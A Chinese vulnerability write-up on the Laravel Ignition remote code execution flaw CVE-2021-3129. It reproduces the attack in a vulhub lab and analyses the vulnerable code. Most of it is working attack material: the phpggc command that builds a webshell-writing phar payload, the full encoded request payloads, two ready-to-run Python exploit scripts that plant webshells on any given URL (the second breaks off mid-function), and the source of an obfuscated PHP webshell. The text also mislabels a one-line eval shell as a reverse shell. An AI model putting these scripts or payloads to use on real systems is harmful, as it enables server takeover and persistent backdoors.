Laravel RCE CVE-2021-3129

漏洞知识库 反序列化漏洞 远程代码执行 CVE-2021-3129 Laravel RCE
漏洞知识库
发布日期:   2024-12-31
更新日期:   2025-01-02
文章字数:   21.5k
阅读时长:   126 分
阅读次数:  

一、RCE CVE-2021-3129漏洞概述

1.1 漏洞简介

CVE-2021-3129 是一个影响 Laravel 框架的远程代码执行（RCE）漏洞。当 Laravel 应用程序处于调试模式（Debug mode）时，由于 Laravel 自带的 Ignition 组件对 file_get_contents() 和 file_put_contents() 函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意 Log 文件等方式触发 Phar 反序列化，最终造成远程代码执行。

1.2 影响范围

Laravel 版本 <= 8.4.2 以及 Ignition < 2.5.2 的系统。

二、漏洞复现

2.1 环境部署

2.1.1 部署vulhub

在centos7（192.168.52.3）部署vulhub漏洞环境。

Vulhub是一个面向大众的开源漏洞靶场，无需docker知识，简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单，让安全研究者更加专注于漏洞原理本身。

git clone https://github.com/vulhub/vulhub.git

大战bug：

fatal: unable to access ‘https://github.com/vulhub/vulhub.git/‘: Could not resolve host: github.com; Unknown error:

初步分析可能是因为之前搭建域渗透攻击环境时修改vmnet8（NAT网段）导致的，可是ping百度是可以连通的。需要修改一下。

DNS配置没问题。

github.com也无法ping通。

然后尝试将mac上的与github有关的hosts配置文件配置到/etc/hosts文件中，还是不行。

配置hosts：

140.82.112.3  github.com      
199.232.5.194  github.global.ssl.fastly.net
54.231.114.219  github-cloud.s3.amazonaws.com

github.com可以ping通了。

但是仍然无法git clone。

reboot之后重试：

fatal: unable to access ‘https://github.com/vulhub/vulhub.git/‘: Encountered end of file

将https改成http之后居然可以了。

克隆完成后一级目录内的内容如下：

vulhub一级目录

2.1.2 启动Laravel

cd laravel/CVE-2021-3129/
docker compose up -d

大战bug：

分析可能是reboot重启之后，没有启动docker服务。

重新执行docker compose up -d

查看容器运行状态

访问测试：

2.2 漏洞复现

2.2.1 漏洞存在性判别

Laravel环境搭建完成后，第一次访问首页，会出现报错“No application encryption key has been specified.”（未指定应用加密密钥）。其在下方给我们提供了一个修复方案（Ignition 组件提供）。点击页面中的“Generate app key”，会生成对应应用密钥，这里我们可以使用Brup Suite拦截该请求。

然后修改请求正文中的 solution 参数修改为 MakeViewVariableOptionalSolution ，如下：

{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
        "variableName": "asabcde",
        "viewFile": "xx1111111xx"
    }
}

发送修改后的请求，若返回500，且提示file_get_contents()的报错时，则有此漏洞。

2.2.2 step1:清空laravel日志

执行过上述漏洞存在性判别之后，laravel.log中会记录日志，可以从路径/var/www/storage/logs/laravel.log中看到。

访问/_ignition/execute-solution，使用Brup拦截请求，修改请求方法为POST，修改Content-Type为 application/json，添加如下请求正文，发送请求，清空laravel日志。

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "xxxxx",
 "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
}

可以看到日志已经被清空了。利用的原理是php://filter 中的 convert.base64-decode 过滤器的特性，convert.base64-decode过滤器会将一些非base64字符给过滤掉后再进行base64解码，于是我们可以将日志文件中的所有内容转换成非base64编码出现的字符，然后再使用 convert.base64-decode 过滤器读取，此时读取到的内容就为空，最终达到清空日志文件的目的。

2.2.3 step2:基于phpggc生成payload

用phpggc指定利用链为Laravel/RCE5生成反序列化利用的POC，此处为写入一句话木马到shell.php中。

// 将一句话木马 <?php  eval($_POST[a]);?> base64编码
PD9waHAgIGV2YWwoJF9QT1NUW2FdKTs/Pg==
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgIGV2YWwoJF9QT1NUW2FdKTs/Pg==|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

详解：

  1. php -d "phar.readonly=0"：
    • 这个部分是启动PHP CLI时的一个配置选项，phar.readonly=0 允许修改PHAR文件。PHAR文件是PHP归档文件，可以包含PHP脚本和数据。
  2. ./phpggc Laravel/RCE5：
    • 这是调用PHPGGC工具的命令，Laravel/RCE5 指的是Laravel框架中的一个特定的反序列化漏洞（RCE，远程代码执行）。
  3. "system('echo PD9waHAgIGV2YWwoJF9QT1NUW2FdKTs/Pg==|base64 -d > /var/www/html/shell.php');"：
    • 这是一个系统命令，用于在目标服务器上执行。它首先将base64编码的字符串解码并重定向输出到/var/www/html/shell.php文件中。这个base64字符串解码后是一个PHP代码，用于创建一个反向shell。
  4. --phar phar：
    • 这个选项告诉PHPGGC生成一个PHAR文件。
  5. -o php://output：
    • 这个选项将命令的输出发送到PHP的输出流。
  6. | base64 -w 0：
    • 这个管道命令将PHPGGC的输出进行base64编码，-w 0 参数表示不换行。
  7. | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"：
    • 这个管道命令使用Python将base64编码的数据转换为一个URL安全的base64编码字符串，并且每个字节后面都添加了=00，这是一种常见的编码技巧，用于绕过某些安全机制。

这个命令的最终目的是生成一个经过特殊编码的PHAR文件，该文件在被目标服务器反序列化时，会执行一个系统命令，创建一个反向shell。

2.2.4 step3:发送无害payload

发送AA生成无害paylaod，进行方便后续补齐。

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "xxxxx",
 "viewFile": "AA"
 }
}

2.2.5 step4:发送payload

发送POC至服务器，注意要在viewFile的最后添加一个字母a。

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "xxxxx",
 "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=58=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=4D=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=48=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=67=00=6E=00=5A=00=57=00=4E=00=6F=00=62=00=79=00=42=00=51=00=52=00=44=00=6C=00=33=00=59=00=55=00=68=00=42=00=5A=00=30=00=6C=00=48=00=56=00=6A=00=4A=00=5A=00=56=00=33=00=64=00=76=00=53=00=6B=00=59=00=35=00=55=00=56=00=51=00=78=00=54=00=6C=00=56=00=58=00=4D=00=6B=00=5A=00=6B=00=53=00=31=00=52=00=7A=00=4C=00=31=00=42=00=6E=00=50=00=54=00=31=00=38=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=49=00=43=00=31=00=6B=00=49=00=44=00=34=00=67=00=4C=00=33=00=5A=00=68=00=63=00=69=00=39=00=33=00=64=00=33=00=63=00=76=00=61=00=48=00=52=00=74=00=62=00=43=00=39=00=7A=00=61=00=47=00=56=00=73=00=62=00=43=00=35=00=77=00=61=00=48=00=41=00=6E=00=4B=00=54=00=73=00=67=00=5A=00=58=00=68=00=70=00=64=00=44=00=73=00=67=00=50=00=7A=00=34=00=69=00=4F=00=33=00=31=00=39=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=44=00=47=00=4B=00=44=00=68=00=6B=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=62=00=64=00=32=00=6A=00=61=00=74=00=58=00=77=00=4A=00=4D=00=56=00=57=00=73=00=52=00=6A=00=50=00=58=00=4A=00=5A=00=52=00=48=00=50=00=37=00=4B=00=76=00=5A=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
 }
}

2.2.6 step5:将日志文件构造成phar

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "xxxxx",
 "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
}

2.2.7 step6:触发发序列化

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "xxxxx",
 "viewFile": "phar://../storage/logs/laravel.log/test.txt"
 }
}

成功写入木马。

2.2.8 step7:getshell

后门的地址和密码如下：

至此，成功通过RCE getshell！

三、代码审计-漏洞分析

3.1 ignition组件的solutions

Laravel在第6版之后，debug模式使用了ignition组件来美化堆栈信息。ignition作为Laravel的调试工具，它不仅美化了错误堆栈信息，还提供了一些解决方案（solutions），允许开发者通过点击按钮快速修复一些错误。

在vendor\facade\ignition\src\Solutions目录下，Ignition组件提供的解决方案（solutions）包括（部分）：

  1. GenerateAppKeySolution.php：用于生成应用程序的加密密钥。
  2. RunMigrationsSolution.php：用于运行数据库迁移。
  3. SuggestUsingCorrectDbNameSolution.php：建议使用正确的数据库名称。
  4. LivewireDiscoverSolution.php：与Livewire框架相关的解决方案。
  5. SolutionTransformer.php：用于转换解决方案的类。
  6. UseDefaultValetDbCredentialsSolution.php：使用默认的Valet数据库凭证。
  7. MakeViewVariableOptionalSolution.php：使视图变量可选的解决方案。

3.2 漏洞成因

3.2.1 Laravel如何调用solution

solution的控制器中（vendor\facade\ignition\src\Http\Controllers\ExecuteSolutionController.php）,在ExecuteSolutionController中会去调用对应solution的run方法并传入参数parameters，而这个参数是抓包时请求正文中的parameters，所以这个输入参数是我们可以控制的。

<?php

namespace Facade\Ignition\Http\Controllers;

use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;

class ExecuteSolutionController
{
    use ValidatesRequests;

    public function __invoke(
        ExecuteSolutionRequest $request,
        SolutionProviderRepository $solutionProviderRepository
    ) {
        $solution = $request->getRunnableSolution();

        $solution->run($request->get('parameters', [])); // 调用对应solution对象的run()方法，并传入参数parameters

        return response('');
    }
}

3.2.2 MakeViewVariableOptionalSolution.php的run()方法

<?php

namespace Facade\Ignition\Solutions;

use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ......

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            // 将makeOptional()方法的结果输出对应文件中（viewFile参数指定）
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        // 调用file_get_contents方法将传入的参数作为路径读取文件内容，用$originalContents存储，作为原始内容
        $originalContents = file_get_contents($parameters['viewFile']);
        // 处理读取的内容，若文件内容中存在‘$variableNamed的值’，则替换为‘$variableNamed的值??’，将处理后的内容使用$newContents存储，作为新的内容
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
		// 以下代码为处理原始内容与新内容
        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
		// 只要原始内容中不含‘$variableNamed的值’，$originalContents与$newContents的值会相同，那么下方的判断条件不会成立，就不会返回false
        if ($expectedTokens !== $newTokens) {
            return false;
        }

        return $newContents;
    }

在run方法中，makeOptional()函数被用来处理输入的参数。这个方法首先会执行file_get_contents()函数。因为我们能够控制$parameters['viewFile']这个变量，如果能够进一步将恶意的phar文件上传或写入到服务器上，那么就可以利用file_get_contents()函数触发phar文件的反序列化，进而实现攻击。

我们还可以从makeOptional()方法剩下的代码中发现，当file_get_contents()获取到的文件内容中不含‘$variableNamed的值’时，则一定会返回读取的文件内容。而接着在run()方法中会调用file_put_contents()方法将makeOptional()方法返回的结果（读取的文件内容）又重新输出到原文件中。

  1. 漏洞成因：漏洞主要成因是Ignition组件中MakeViewVariableOptionalSolution类的参数过滤不严谨。在MakeViewVariableOptionalSolution的run方法中，使用了file_get_contents()和file_put_contents()函数，这些函数可以读取和写入文件，但是没有对用户输入进行充分的验证和清理，导致攻击者可以通过控制这些输入来执行恶意操作。
  2. 漏洞触发：攻击者可以通过发送特定的POST请求到/_ignition/execute-solution路由，利用MakeViewVariableOptionalSolution解决方案，通过控制parameters参数来触发漏洞。

3.3 漏洞利用思路

Laravel远程代码执行漏洞（CVE-2021-3129）利用日志文件进行攻击的原理可以概括如下：

  1. Debug模式开启：当Laravel框架开启Debug模式时，Ignition组件会提供详细的错误信息和解决方案。
  2. Ignition组件的不安全使用：Ignition组件中的MakeViewVariableOptionalSolution类在处理传入的参数时，会调用file_get_contents()方法读取一个由外部参数指定的文件内容，这个文件路径是可控的。
  3. 日志文件的利用：攻击者无法直接上传phar文件时，可以利用Laravel的日志文件laravel.log来进行攻击。这个日志文件记录了Laravel的报错信息，攻击者可以通过构造恶意请求，使得错误信息中包含攻击者控制的内容，从而将laravel.log文件变为一个合法的phar文件进行利用。
  4. 日志文件格式：laravel.log文件中的错误信息格式允许攻击者通过控制viewFile的值，配合makeOptional()方法中的file_get_contents()和file_put_contents()方法，将日志文件改造成一个phar文件。
  5. Phar文件的头部：一个文件是否是phar文件的标准是其是否携带了phar文件的头部。攻击者通过控制日志文件中输出的内容，可以完成RCE漏洞利用。
  6. 清空日志文件：攻击者首先需要清空日志文件，以便写入恶意的phar文件内容。
  7. 写入恶意内容：攻击者通过发送特定的POST请求，将恶意的phar文件内容写入laravel.log文件中，利用编码转换（如convert.quoted-printable-decode、convert.iconv.utf-16le.utf-8、convert.base64-decode）清除内容。
  8. 触发Phar反序列化：最后，攻击者通过phar://协议触发phar文件的反序列化，执行任意代码，完成远程代码执行攻击。

总结来说，CVE-2021-3129漏洞利用了Ignition组件对文件操作的不安全使用，结合Laravel日志文件的特性，通过构造特定的请求和响应，将日志文件转换为恶意的phar文件，最终实现远程代码执行。

四、EXP

4.1 exp1-写入复杂木马

# -*- coding: utf-8 -*- 
import requests,json
import sys,re
proxies = {
    "http": '127.0.0.1:8080'}
 
header={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"Content-Type":"application/json"
}
 
 
def clearlog(url):
    data = {
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
}
 
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req
 
def AA(url):
    data={
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "AA"
 }
}
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req
 
def sendpayloadwindows(url):
    data={
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
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 }
}
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req
 
def sendpayloadlinux(url):
    data={
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": 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 }
}
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req
 
def filterlog(url):
    data={
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
 }
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req
 
 
def phar(url,path):
    data={
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "phar://"+path+"\storage\\logs\\laravel.log\\test.txt"
 }
}
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req
 
def pharl(url,path):
    data={
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "phar://"+path+"/storage/logs/laravel.log/test.txt"
 }
}
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req
 
def path(url):
    req=requests.get(url).text
    pattern = re.compile(r'(\#\d*\ (.*)(?:\/|\\)vendor)')
    m=pattern.findall(req)
    return m[0][1]
 
if __name__=='__main__':
	print(
	'''
  ██████ ▓█████  ▄████▄   ██▓███   ██▀███   ▒█████    ██████ 
▒██    ▒ ▓█   ▀ ▒██▀ ▀█  ▓██░  ██▒▓██ ▒ ██▒▒██▒  ██▒▒██    ▒ 
░ ▓██▄   ▒███   ▒▓█    ▄ ▓██░ ██▓▒▓██ ░▄█ ▒▒██░  ██▒░ ▓██▄   
  ▒   ██▒▒▓█  ▄ ▒▓▓▄ ▄██▒▒██▄█▓▒ ▒▒██▀▀█▄  ▒██   ██░  ▒   ██▒
▒██████▒▒░▒████▒▒ ▓███▀ ░▒██▒ ░  ░░██▓ ▒██▒░ ████▓▒░▒██████▒▒
▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ░▒ ▒  ░▒▓▒░ ░  ░░ ▒▓ ░▒▓░░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░
░ ░▒  ░ ░ ░ ░  ░  ░  ▒   ░▒ ░       ░▒ ░ ▒░  ░ ▒ ▒░ ░ ░▒  ░ ░
░  ░  ░     ░   ░        ░░         ░░   ░ ░ ░ ░ ▒  ░  ░  ░  
      ░     ░  ░░ ░                  ░         ░ ░        ░  
                ░                                            
 
	''')
	url=sys.argv[1]+"/_ignition/execute-solution"
	clearlog(url)
	clearlog(url)
	clearlog(url)
	clearlog(url)
	clearlog(url)
	if(AA(url).status_code==500):
		if(":" in path(url)):
			print("windows")
			if(sendpayloadwindows(url).status_code==500):
				if(filterlog(url).status_code==200):
					if(phar(url,path(url)).status_code==500):
						if(requests.get(sys.argv[1]+"/fuckyou.php").status_code==200):
							print("[+]webshell地址:"+sys.argv[1]+"/fuckyou.php,密码:pass")
						else:
							print("[-]漏洞不存在")
		if(":" not in path(url)):
			print("linux")
			if(sendpayloadlinux(url).status_code==500):
				if(filterlog(url).status_code==200):
					if(pharl(url,path(url)).status_code==500):
						if(requests.get(sys.argv[1]+"/fuckyou.php").status_code==200):
							print("webshell地址:"+sys.argv[1]+"/fuckyou.php,密码:pass")
						else:
							print("[-]漏洞不存在")

使用方法：

python exp.py http://192.168.52.3:8080
使用exp

webshell地址:http://192.168.52.3:8080/fuckyou.php,密码:pass

蚁剑连接getshell：

查看写入的木马：

<?php  session_start();@set_time_limit(0);@error_reporting(0);function E($D,$K){for($i= 0 ;$i<strlen($D);$i++){$D[$i]=$D[$i]^$K[$i+ 1 & 15 ];}return$D;}function Q($D){return base64_encode($D);}function O($D){return base64_decode($D);}$P='pass';$V='payload';$T='3c6e0b8a9c15224a';if(isset($_POST[$P])){$F=O(E(O($_POST[$P]),$T));if(isset($_SESSION[$V])){$L=$_SESSION[$V];$A=explode('|',$L);class C{public function nvoke($p){eval($p."");}}$R=new C();$R->nvoke($A[ 0 ]);echo substr(md5($P.$T), 0 , 16 );echo Q(E(@run($F),$T));echo substr(md5($P.$T), 16 );}else{$_SESSION[$V]=$F;}}

测试时发现如下问题（无法连接shell）。

可能是木马加解密导致的。

如果想简单的写入一句话木马，只需要替换sendpayloadlinux或sendpayloadwindows函数中的viewFile值即可。

4.2 exp2-写入一句话木马

#!/user/bin/env python3
# -*- coding: utf-8 -*-
# Laravel Debug mode RCE（CVE-2021-3129）
import json
import requests
import argparse
import sys
import re

header = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36",
    "Content-Type": "application/json"
}


# 帮助
def cmd_line():
    parse = argparse.ArgumentParser(
        description="Laravel Debug mode RCE（CVE-2021-3129）POC & EXP",  # 描述
        usage="python CVE-2021-3129.py -u [url] --exp",  # 使用方法
        add_help=True  # 开启帮助
    )

    parse.add_argument('-u', '--url', help="指定目标url地址")
    parse.add_argument('-e', '--exp', help="利用漏洞写入webshell，如不指定，则仅进行漏洞检测", action='store_true')
    parse.add_argument('-p', '--proxy', help="设置代理，如socks5://127.0.0.1:7890")

    if len(sys.argv) == 1:
        sys.argv.append('-h')
    return parse.parse_args()


# 漏洞检测
def bug_poc(target_url, proxy_server):
    if target_url[-1:] == '/':
        target_url = str(target_url).strip('/')
    payload = target_url + "/_ignition/execute-solution"
    try:
        clear_log(payload, proxy_server)
        clear_log(payload, proxy_server)
        if send_aa(payload, proxy_server).status_code == 500:
            if send_poc_linux(payload, proxy_server).status_code == 500:
                if filter_log(payload, proxy_server).status_code == 200:
                    result = phar_ser_linux(payload, get_path(payload, proxy_server), proxy_server)
                    if result.status_code == 500:
                        html = result.text
                        pattern1 = re.compile(
                            r'<title>PHP (.*?) - phpinfo\(\)</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>')
                        php_version = pattern1.findall(html)[0]
                        pattern2 = re.compile(r'<tr><td class="e">System </td><td class="v">(.*?)</td></tr>')
                        system_info = pattern2.findall(html)[0]
                        pattern3 = re.compile(
                            r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]</td><td class="v">(.*?)</td></tr>')
                        document_root = pattern3.findall(html)[0]
                        pattern4 = re.compile(
                            r'<tr><td class="e">\$_SERVER\[\'SERVER_ADDR\'\]</td><td class="v">(.*?)</td></tr>')
                        server_addr = pattern4.findall(html)[0]
                        print("[✅]检测到漏洞！[🚩]url: {0} [❇️info]PHP版本:{1} 网站路径:{2} 服务器地址:{3} 系统版本:{4}".format(target_url,
                                                                                                           php_version,
                                                                                                           document_root,
                                                                                                           server_addr,
                                                                                                           system_info))
                        return True
    except:
        print("[!]未检测到漏洞 [x]url: {0}".format(target_url))


# 漏洞利用
def bug_exp(target_url, proxy_server):
    if target_url[-1:] == '/':
        target_url = str(target_url).strip('/')
    payload = target_url + "/_ignition/execute-solution"
    try:
        clear_log(payload, proxy_server)
        clear_log(payload, proxy_server)
        if send_aa(payload, proxy_server).status_code == 500:
            if send_payload_linux(payload, proxy_server).status_code == 500:
                if filter_log(payload, proxy_server).status_code == 200:
                    if phar_ser_linux(payload, get_path(payload, proxy_server), proxy_server).status_code == 500:
                        if requests.get(target_url + "/shell.php", proxies={
                            "http": proxy_server,
                            "https": proxy_server
                        }).status_code == 200:
                            print("[OK] 成功写入webshell, 访问地址 {0}/shell.php , 密码 whoami".format(target_url))
    except:
        print("[!]写入webshell失败")


def main():
    args = cmd_line()
    if args.proxy:
        proxy_server = args.proxy
    else:
        proxy_server = None
    target_url = args.url
    bug_result = bug_poc(target_url, proxy_server)
    if args.exp and bug_result:
        bug_exp(target_url, proxy_server)


def clear_log(url, proxy_server):
    data = {
        "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
        "parameters": {
            "variableName": "username",
            "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
        }
    }
    response = requests.post(url, headers=header, data=json.dumps(data, indent=1), proxies={
        # 指定 http 和 https 走什么代理
        "http": proxy_server,
        "https": proxy_server
    })
    return response


def send_aa(url, proxy_server):
    data = {
        "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
        "parameters": {
            "variableName": "username",
            "viewFile": "AA"
        }
    }
    response = requests.post(url, headers=header, data=json.dumps(data, indent=1), proxies={
        # 指定 http 和 https 走什么代理
        "http": proxy_server,
        "https": proxy_server
    })
    return response


def send_payload_linux(url, proxy_server):
    data = {
        "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
        "parameters": {
            "variableName": "username",
